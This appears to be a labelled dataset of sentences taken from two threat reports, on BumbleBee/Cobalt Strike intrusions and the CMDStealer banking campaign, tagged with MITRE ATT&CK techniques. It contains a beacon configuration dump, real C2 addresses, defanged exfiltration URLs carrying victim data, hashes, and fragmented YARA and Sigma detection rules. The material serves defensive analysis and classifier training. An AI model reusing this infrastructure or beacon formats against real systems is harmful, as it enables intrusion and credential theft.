{"sentence": "0x0001 0x0002 0 0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202' 0x000a post-uri 0x0003 0x0040 '/styles' 0x000b Malleable_C2_Instructions 0x0003 0x0100 Transform Input: [7:Input,4,2:338,3,8] Print Remove 338 bytes from begin BASE64 NETBIOS lowercase 0x000c http_get_header", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[7:Output,15,3,4] XOR with 4-byte random key BASE64 Print Build SessionId:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[7:SessionId,3,2:__session__id=,6:Cookie] BASE64 Prepend __session__id= Header Cookie 0x0036 HostHeader 0x0003 0x0080 (NULL ...)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0032 UsesCookies 0x0001 0x0002 1 0x0023 proxy_type 0x0001 0x0002 2 IE settings 0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\\x00\\x04' 0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\\x00\\x04' 0x0037 EXIT_FUNK", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0001 0x0002 0 0x0028 killdate 0x0002 0x0004 0 0x0029 textSectionEnd 0x0002 0x0004 155989 0x002a ObfuscateSectionsInfo 0x0003 0x0020 '\\x00p\\x02\\x00á\\x0b\\x03\\x00\\x00\\x10\\x03\\x00 ·\\x03\\x00\\x00À\\x03\\x00\\x1cÞ\\x03' 0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE 0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ 0x002d process-inject-min_alloc 0x0002 0x0004", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actors used default CS configuration and default named pipes.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Below is the full list of all default named pipes spotted during this intrusion: \\postex_0dde \\postex_3e9b \\postex_4008 \\postex_4429 \\postex_55f8 \\postex_8248 \\postex_8c73 \\postex_972d \\postex_fc2e Named piped are commonly used by Cobalt Strike perform various techniques.", "labels": ["T1090"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Here is a Guide to Named Pipes and Hunting for Cobalt Strike Pipes from one of our contributors @svch0st.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AnyDesk As mentioned before in the lateral tool transfer section, threat actors remotely dropped AnyDesk binary on a server from the beachhead: A new service was created (Event ID 7045) upon the execution of AnyDesk installer:", "labels": ["T1219", "T1543.003", "T1570"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AnyDesk logs, %ProgramData%\\AnyDesk\\ad_svc.trace", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "and", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%AppData%\\AnyDesk\\ad.trace, show that it was used during Day 1 and Day 7 of this intrusion, using the Administrator account each time.", "labels": ["T1078", "T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The usage of AnyDesk also triggered two ET signatures: ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Impact There was no impact (exfiltration, data encryption, or destruction) during this intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "However, the observed TTPs show common cybercrime threat actors tradecraft which may have lead to domain wide ransomware had the threat actors had enough time.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Indicators Files BC_invoice_Report_CORP_46.zip 5226b7138f4dd1dbb9f6953bd75a320b 6c87ca630c294773ab760d88587667f26e0213a3 c1b8e9d77a6aea4fc7bed4a2a48515aa32a3922859c9091cecf1b5f381a87127 document.lnk 3466ffaf086a29b8132e9e10d7111492 58739dc62eeac7374db9a8c07df7c7c36b550ce5 90f489452b4fe3f15d509732b8df8cc86d4486ece9aa10cbd8ad942f7880075e namr.dll f856d7e7d485a2fc5b38faddd8c6ee5c c68e4d5eaae99d6f0a51eec48ace79a4fede3c09 2d67a6e6e7f95d3649d4740419f596981a149b500503cbc3fcbeb11684e55218 wab.exe c68437cc9ed6645726119c12fdcb33e7 7a3db4b3359b60786fcbdaf0115191502fcded07 1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381 af.exe 9b02dd2a1a15e94922be3f85129083ac 2cb6ff75b38a3f24f3b60a2742b6f4d6027f0f2a b1102ed4bca6dae6f2f498ade2f73f76af527fa803f0e0b46e100d4cf5150682 VulnRecon.exe 5839b4013cf6e25568f13d3fc4120795 d9832b46dd6f249191e9cbcfba2222c1702c499a eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef VulnRecon.dll 951d017ba31ecc6990c053225ee8f1e6 a204f20b1c96c5b882949b93eb4ac20d4f9e4fdf a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8 CommandLine.dll 3654f4e4c0858a9388c383b1225b8384 974ffbfae36e9a41ac672f9793ce1bee18f2e670 fa2b74bfc9359efba61ed7625d20f9afc11a7933ebc9653e8e9b1e44be39c455 w.bat bba3ff461eee305c7408e31e427f57e6 3300c0c05b33691ecc04133885b7fc9513174746 59198ffaf74b0e931a1cafe78e20ebf0b16f3a5a03bb4121230a0c44d7b963d2 s.bat 4b78228c08538208686b0f55353fa3bf 67707f863aa405a9b9a335704808c604845394bf 5eb0b0829b9fe344bff08de80f55a21a26a53df7bd230d777114d3e7b64abd24 Network BumbleBee 142.91.3[.]109 45.140.146[.]30 Cobalt Strike 45.153.243[.]142 fuvataren[.]com 108.62.12[.]174 dofixifa[.]com Cobalt Strike Payload Hosting 104.243.33[.]50 Detections Network ET POLICY OpenSSL Demo CA - Internet Widgits Pty (O) ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET USER_AGENTS", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AnyDesk Remote Desktop Software User-Agent(Snort VRT) MALWARE-OTHER CobaltStrike powershell web delivery attempt Sigma https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/builtin/security/win_iso_mount.yml https://github.com/SigmaHQ/sigma/blob/d459483ef6bb889fb8da1baa17a713a4f1aa8897/rules/windows/file_event/file_event_win_iso_file_recent.yml https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_rundll32_not_from_c_drive.yml https://github.com/SigmaHQ/sigma/blob/7f490d958aa7010f7f519e29bed4a45ecebd152e/rules/windows/process_creation/proc_creation_win_susp_powershell_enc_cmd.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_process_dump_rundll32_comsvcs.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml https://github.com/NVISOsecurity/sigma-public/blob/master/rules/windows/sysmon/sysmon_lsass_memdump.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_net_execution.yml https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_susp_adfind.yml https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/win_network_anydesk.yml https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/win_cobaltstrike_operator_bloopers_cmds.yml https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/adfind_discovery https://github.com/SigmaHQ/sigma/blob/54d141eb585f38fc83a1dc15aa281a84c0416d4f/rules-deprecated/windows/powershell_suspicious_download.yml https://github.com/SigmaHQ/sigma/blob/b24e7ae9846f53cbbf61adad72f17af317c860a4/rules/windows/process_creation/proc_creation_win_susp_powershell_iex_patterns.yml https://github.com/SigmaHQ/sigma/blob/04f72b9e78f196544f8f1331b4d9158df34d7ecf/rules/windows/builtin/system/win_cobaltstrike_service_installs.yml https://github.com/SigmaHQ/sigma/blob/e10fa684bdd0254b5ba5102feae293b8564f4628/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml https://github.com/SigmaHQ/sigma/blob/40adb0339e8e4b5286fc46e05b96e7b48e967e0c/rules/windows/process_creation/proc_creation_win_susp_recon_activity.yml https://github.com/SigmaHQ/sigma/blob/58f1d6fa2c679198f2932e3c361d5fa827effa95/rules/network/zeek/zeek_susp_kerberos_rc4.yml https://github.com/SigmaHQ/sigma/blob/f4ef4fcdc4eb780bcaa59f6756bffa5b0fbacd20/rules/windows/builtin/security/win_susp_rc4_kerberos.yml https://github.com/SigmaHQ/sigma/blob/8bb3379b6807610d61d29db1d76f5af4840b8208/rules/windows/process_creation/proc_creation_win_susp_procdump.yml https://github.com/SigmaHQ/sigma/blob/33b370d49bd6aed85bd23827aa16a50bd06d691a/rules/windows/process_creation/proc_creation_win_anydesk.yml Yara /* YARA Rule Set Author: The DFIR Report Date: 2022-08-08 Identifier:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "*/ rule bumblebee_13387_VulnRecon_dll { meta: description = \"BumbleBee - file VulnRecon.dll\" author = \"TheDFIRReport\" reference = \"https://thedfirreport.com\" date = \"2022-08-08\" hash1 = \"a9e90587c54e68761be468181e56a5ba88bac10968ff7d8c0a1c01537158fbe8\" strings: $x1 = \"Use VulnRecon.exe -i, --SystemInfo to execute this command\" fullword wide $x2 = \"Use VulnRecon.exe -v, --Vulnerability to execute this command\" fullword wide $x3 = \"Use VulnRecon.exe -h, --HotFixes to execute this command\" fullword wide $x4 = \"Use VulnRecon.exe -m, --MicrosoftUpdates to execute this command\" fullword wide $x5 = \"Use VulnRecon.exe -s, --SupportedCve to execute this command\" fullword wide $s6 = \"VulnRecon.dll\" fullword wide $s7 = \"VulnRecon.Commands.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "SystemCommands\" fullword ascii $s8 = \"VulnRecon.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Commands.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "CveCommands\" fullword ascii $s9 = \"VulnRecon.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "ToolsCommand\" fullword ascii $s13 = \"Using VulnRecon.exe -o or VulnRecon.exe --OptionName\" fullword wide $s14 = \"commandVersion\" fullword ascii $s15 = \"GetSystemInfoCommand\" fullword ascii $s16 = \"CreateGetSupportedCveCommand\" fullword ascii $s17 = \"CreateWindowsVersionCommand\" fullword ascii $s18 = \" <requestedExecutionLevel level=\\\"asInvoker\\\" uiAccess=\\\"false\\\"/>\" fullword ascii $s19 = \"get_CommandVersion\" fullword ascii $s20 = \"<CommandVersion>k__BackingField\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 50KB and 1 of ($x*) and 4 of them } rule bumblebee_13387_VulnRecon_exe { meta: description = \"BumbleBee - file VulnRecon.exe\" author = \"TheDFIRReport\" reference = \"https://thedfirreport.com\" date = \"2022-08-08\" hash1 = \"eb4cba90938df28f6d8524be639ed7bd572217f550ef753b2f2d39271faddaef\" strings: $s1 = \"hostfxr.dll\" fullword wide $s2 = \"--- Invoked %s", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[version: %s, commit hash: %s] main = {\" fullword wide $s3 = \"This executable is not bound to a managed DLL to execute.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The binding value is: '%s'\" fullword wide $s4 = \"D:\\\\a\\\\_work\\\\1\\\\s\\\\artifacts\\\\obj\\\\win-x64.Release\\\\corehost\\\\cli\\\\apphost\\\\standalone\\\\Release\\\\apphost.pdb\" fullword ascii $s5 = \"VulnRecon.dll\" fullword wide $s6 = \"api-ms-win-crt-runtime-l1-1-0.dll\" fullword ascii $s7 = \" - %s&apphost_version=%s\" fullword wide $s8 = \"api-ms-win-crt-convert-l1-1-0.dll\" fullword ascii $s9 = \"api-ms-win-crt-math-l1-1-0.dll\" fullword ascii $s10 = \"api-ms-win-crt-time-l1-1-0.dll\" fullword ascii $s11 = \"api-ms-win-crt-stdio-l1-1-0.dll\" fullword ascii $s12 = \"api-ms-win-crt-heap-l1-1-0.dll\" fullword ascii $s13 = \"api-ms-win-crt-string-l1-1-0.dll\" fullword ascii $s14 = \"The managed DLL bound to this executable is: '%s'\" fullword wide $s15 = \"A fatal error was encountered.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This executable was not bound to load a managed DLL.\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[%s]\" fullword wide $s19 = \"https://go.microsoft.com/fwlink/?linkid=798306\" fullword wide $s20 = \"The managed DLL bound to this executable could not be retrieved from the executable image.\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "fullword wide condition: uint16(0) == 0x5a4d and filesize < 400KB and all of them } rule bumblebee_13387_wab { meta: description = \"BumbleBee - file wab.exe\" author = \"TheDFIRReport\" reference = \"https://thedfirreport.com\" date = \"2022-08-08\" hash1 = \"1cf28902be615c721596a249ca85f479984ad85dc4b19a7ba96147e307e06381\" strings: $s1 = \"possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage \" ascii $s2 = \"pfxvex450gd81.exe\" fullword ascii $s3 = \"31403272414143\" ascii /* hex encoded string '1@2rAAC' */ $s4 = \"s wolf save detail surgery short vigour uttered fake proposal moustache accustomed lock been vegetable maximum ownership specifi\" ascii $s5 = \"130 Dial password %d propose7177!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Syllable( warrior stretching Angry 83) sabotage %s\" fullword wide $s6 = \"possibility terminate nation inch ducked ski accidentally usage absent reader rowing looking smack happily strings disadvantage \" ascii $s7 = \"accomplish course Content 506) arched organ Travels\" fullword ascii $s8 = \"123 serve edit.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "693 Poison@ mercy \" fullword wide $s9 = \"Top wealthy!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "fish 760? pier%complaint", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "July nicer!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%s shark+ \" fullword wide $s10 = \" Approximate- Choked- %s %s, \" fullword wide $s11 = \"niece beacon dwelling-", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Headlong Intellectual+\" fullword ascii $s12 = \">Certainty holes) cherries Proceeding Active+ surname Rex/ gets\" fullword wide $s13 = \"+Enthusiastic@ Couple?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%s, shy %", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "d %d) plume \" fullword wide $s14 = \" again workroom front leader height mantle mother sudden illness discontent who finest southern nature supplement normally hopef\" ascii $s15 = \"Advantage %s+ Creation.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Affirmative %s?", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%s \" fullword ascii $s16 = \"Mind@ falcon+ illumination repair/", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "fullword ascii $s17 = \"%Truthful- %d/ 161!", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%s) Designer$ 372\" fullword wide $s20 = \"Fleet( %d, lads.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%d %s 445\" fullword wide condition: uint16(0) == 0x5a4d and filesize < 200KB and 8 of the MITRE Phishing – T1566Malicious File – T1204.002Windows Command Shell – T1059.003PowerShell – T1059.001Process Injection –", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Operation CMDStealer:", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Financially Motivated Campaign Leverages CMD-Based Scripts and LOLBaS for Online Banking Theft in Portugal, Peru, and Mexico url: https://blogs.blackberry.com/en/2023/05/cmdstealer-targets-portugal-peru-and-mexico Operation CMDStealer:", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "This threat actor employs tactics such as LOLBaS (Living Off the Land Binaries and Scripts), along with CMD-based scripts to carry out its malicious activities.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The campaign utilizes phishing emails in Portuguese and Spanish, and social engineering tactics to target victims.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "By posing as authoritative entities or government agencies, the messages are intended to deceive unsuspecting individuals and get them to disclose their online banking credentials.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Brief MITRE ATT&CK:registered: Information Tactic Technique Initial Access T1566.001 Execution T1204.002, T1059.001, T1059.003, T1047, T1059.005, T1059.007 Defense Evasion T1027, T1140 Command and Control T1001, T1105, T1132.001, T1071.001 Discovery T1069, T1082, T1087 Exfiltration T1041 Credential Access T1555.003 Persistence T1547.009 Weaponization and Technical Overview Weapons CMD files, Autolt scripts Attack Vector Phishing Network Infrastructure Malicious domains Targets Portugal, Mexico, Peru Technical Analysis Context The Latin American threat landscape primarily consists of financially-motivated malware, usually compiled into the final PE payloads.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "While deploying the final payloads, BlackBerry threat researchers saw a variety of techniques, such as abusing VBE scripts, ISO images, and MSI packages.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "In this case, the threat actor behind the campaign used CMD-based scripts, AutoIt scripts, and LOLBaS. LOLBaS and CMD-based scripts help threat actors avoid detection by traditional security measures.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "By utilizing these techniques, they can gain unauthorized access to victims' systems, extract sensitive information, and ultimately compromise online banking accounts and payment systems.", "labels": ["T1005"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The geographical focus of this threat actor centers on Portugal, Mexico, and Peru, where a significant number of Spanish and Portuguese speakers reside.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The first .CMD file set seen to use AutoIt in its execution was discovered at the end of 2021.", "labels": ["T1059.003"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Figure 1 – CMDStealer files with a very low detection rate on Virus Total Operation CMDStealer Attack Vector", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The infection chain begins with the user receiving a phishing email.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "These phishing emails are specially crafted to grab victims’ attention.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "In one instance, we observed one of the emails titled “Multa de Trânsito,“ which translates from Portuguese as “traffic infraction ticket.”", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Each email has an HTML attachment.", "labels": ["T1566.001"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "During the extensive analysis of the “.HTML” files, BlackBerry identified a large list of HEX-encoded URLs, some of which are listed here: hxxps[:]//factura61[.]click/2/?j5szsmo0bk8tOSQSMS4mmp1XtQrmbNYoCB2GBem8 hxxps[:]//factura61[.]click/2/?vzlv9CZ1gnLrNIaWBJBhJNWRCt7IVXDDwVzOQhSs hxxps[:]//sunat-pe[.]fun/?D80gaUJDUfuLG6lodTSEi7qoqciBWk5xE5w81pJO hxxps[:]//factura61[.]click/2/?CTtBmkRN8KPXVTgUn1ArCPGb5WXTXTaT7etdD7TC hxxps[:]//factura61[.]click/2/?yqJl8r7henupax3WsUvITb0PuSw5sn7HyZWGMvDv hxxps[:]//factura61[.]click/2/?GxkVBvEBTFfSDqaFr8Yjw9kyKH01xRseHoF0DNQc hxxps[:]//multa-ansr-pt[.]fun/?UFqQBhFaXulvEfeTbI38FFDKRth1r2DWKOFqUI0Y hxxps[:]//multa-ansr-pt[.]fun/?l4mm0DEhDbJPYd5qAQmwst09TDTjjvYjiG7ByCvx Opening the attached “multa_de_transito_502323.html” file triggers the embedded JavaScript and reaches out to hxxps[:]//multa-ansr-pt[.]fun/?hcBViJAi9EZSc3YQwxpEwfmD7xdG0IF34EWGHj6Q to pull down the next stage which is a compressed archive (RAR) file.", "labels": ["T1027"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The archive file is typically titled with one of the naming schemes (a few are listed below): doc-Impuestos_<[0-9]{6}>.rar doc-Impostos_<[0-9]{6}>.rar Documento_Impostos_<[0-9]{6}>.rar Multa_<[0-9]{6}>.rar Impuestos-Documento_<[0-9]{6}>.rar BlackBerry found different campaigns geofenced to each specific country.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The script is described in the SANS write-up released on 1/06/2023.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Figure 4 – Code instructions for both base64 data block execution The first base64 data blob is compiled AutoIt script and the second is AutoIt interpreter (a benign file), used to run the first file.", "labels": ["T1027"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Next, it invokes the “_OUTRECOVERY()” function to steal Outlook data such as server, user, and password from POP3, SMPT, and IMAP registry keys.", "labels": ["T1012"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The script is then instructed to call the “_CHROMERECOVERY()” function.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The C2 is constructed with the victim's enumerated data, where the values are: v1 – OS language (e.g., 1033 – English US) v2 – keyboard layout (e.g., 1033 – English US) v3 – operating system version (Windows 7,8,10,11 or unknown) v4 – is target an admin or user v5 – OS architecture (x86 or x64)", "labels": ["T1005", "T1082"], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The URL then becomes: hxxp[:]//publicpressmagazine[.]com/images/swan/do/it[.]php?b1=1&v1=1033&v2=1033&v3=windows%2010&v4=admin&v5=x86 hxxp[:]//websylvania[.]com/psj/do/it[.]php?b1=1&v1=3082&v2=1034&v3=windows%207&v4=user&v5=x64 To gain persistence on the infected system, it relies on the following code: Figure 5 – Persistence in the system Notably, within the decompiled AutoIt scripts that were used to target Mexico, a list of Mexican banks was also specified.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "If found, some of that data was sent back to the attacker.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Figure 6 – Financial targets in Mexico Based on the URLs of the financial targets in Mexico, the threat actor behind CMDStealer is highly interested in compromising enterprise/business accounts.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Operation CMDStealer Network Infrastructure The phishing and C2 (command and control) infrastructure are hosted on services with numerous domains associated with a single address, including fast flux services.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Such services go a long way in obfuscating NetFlow traffic analysis and infrastructure tracking.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Multiple hosts were identified communicating with most of the CMD Stealer’s C2, but communications were not reliable enough to confirm threat actor ownership.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Targets This attack primarily targets victims in Portugal, Mexico, and Peru.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Also, based on the configuration used to target victims in Mexico, the threat actor is interested in online business accounts, which usually have a better cash flow.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Attribution Based on the code and language analysis, research is confident that the threat actor behind this campaign belongs to Latin America, specifically Brazil.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Regular security awareness training should be provided to educate employees about the risks associated with social engineering.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Continuous monitoring and auditing of system logs can also help detect and investigate any suspicious activities related to LOLBaS. APPENDIX 1 – Referential Hashes SHA256 f6e84e43323ed9d8531fa2aeeb3c181c8f84fcbe950ce6dcdd8c3fa0b02c6cc0 MD5 e64f28174f646e26199d6b7735c84195 SHA256 0a277e51598ef364d5e0006817d32487eb9c0a3c150b7169cbc0bb7348088e63 MD5 f7f602f9b7fd04b64fbafe4dbfefa066 SHA256 2d87b9b071ace9f2ebfa33c1c0c21202f39876b312e135a491bf57ba731b798c MD5 fdcc1e1e3ccf30c63660e1f75042be43 SHA256 40017793f40a192b1dfdfc960742dd539b19fee9b15213307c8319fd88eee57f MD5 e212e8d740310cc565bc89c3b7966804 SHA256 cb1d1f039c07bd03b6eb14248a897dcefdefc28ae6f523b7c6f549c3c155640b APPENDIX 2 – Applied Countermeasures Yara Rules Available on request (see below).", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Suricata Rule Available on request (see below).", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "Disclaimer:", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
{"sentence": "The private version of this report is available on request.", "labels": [], "doc_title": "Operation CMDStealer Financially Motivated Campaign Leverages CMDBased Scripts and LOLBaS for Online Banking Theft in Portugal Peru and Mexico"}
